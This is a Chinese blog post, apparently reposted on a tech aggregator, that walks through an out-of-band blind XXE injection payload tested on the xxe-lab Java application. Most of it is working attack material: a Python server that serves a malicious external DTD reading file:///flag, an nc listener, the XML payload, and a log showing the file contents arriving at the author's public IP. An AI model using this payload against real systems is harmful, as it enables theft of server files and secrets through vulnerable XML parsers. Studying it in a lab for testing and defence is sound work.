首页 > 其他 > 详细

out-of-band XXE 带外实体注入(盲注) Payload

时间:2020-07-10 11:52:19      阅读:164      评论:0      收藏:0      [点我收藏+]

我们需要提前准备一台拥有公网IP地址的服务器,假定它的IP为:49.235.252.161,它做两件事

1、接收靶机的外部DTD请求并返回对应内容(下面是用Python编写的一个最简单的HTTP服务)

# -*- coding: utf-8 -*-
from http.server import HTTPServer, BaseHTTPRequestHandler
import json

data = """
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % wrapper "<!ENTITY send SYSTEM ‘http://49.235.252.161:9999/%flag;‘>">
%wrapper;
"""
host = (‘‘, 8888)

class Resquest(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header(‘Content-type‘, ‘application/json‘)
        self.end_headers()
        self.wfile.write(data)

if __name__ == ‘__main__‘:
    server = HTTPServer(host, Resquest)
    print("Starting http server, listen at: %s:%s" % host)
    server.serve_forever()

2.、监听端口,用于获取靶机发送过来的flag

nc -lvvk 9999

Payload 如下(标签元素仅供参考)

<!DOCTYPE user SYSTEM "http://49.235.252.161:8888" [
    <!ELEMENT user (#PCDATA)>
]>
<user>
      <username>&send;</username>
      <password>pwd</password>
</user>

效果如下(flag%7Babcde%7D 就是我们要获取的 /flag 文件的内容)

[root@VM_0_9_centos ~]# nc -lvvk 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 221.239.127.18.
Ncat: Connection from 221.239.127.18:44115.
GET /flag%7Babcde%7D HTTP/1.1
Host: 49.235.252.161:9999
User-Agent: Java/11.0.7
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

经过我的实验发现,当XML解析器未对标签中的内容 &send; 进行解析时, 那么就不会触发对 http://49.235.252.161:9999 的访问

也就是说:只有当用到了一般实体时,XML解析器才会去获取其内容,所以上述 payload 是不完美的。

可以改为使用参数实体将数据带出来,参考 https://xz.aliyun.com/t/3357

不过我实测没有成功

测试所使用的Web应用:https://github.com/c0ny1/xxe-lab/tree/master/java_xxe

out-of-band XXE 带外实体注入(盲注) Payload

原文:https://www.cnblogs.com/zbmcz/p/13278371.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!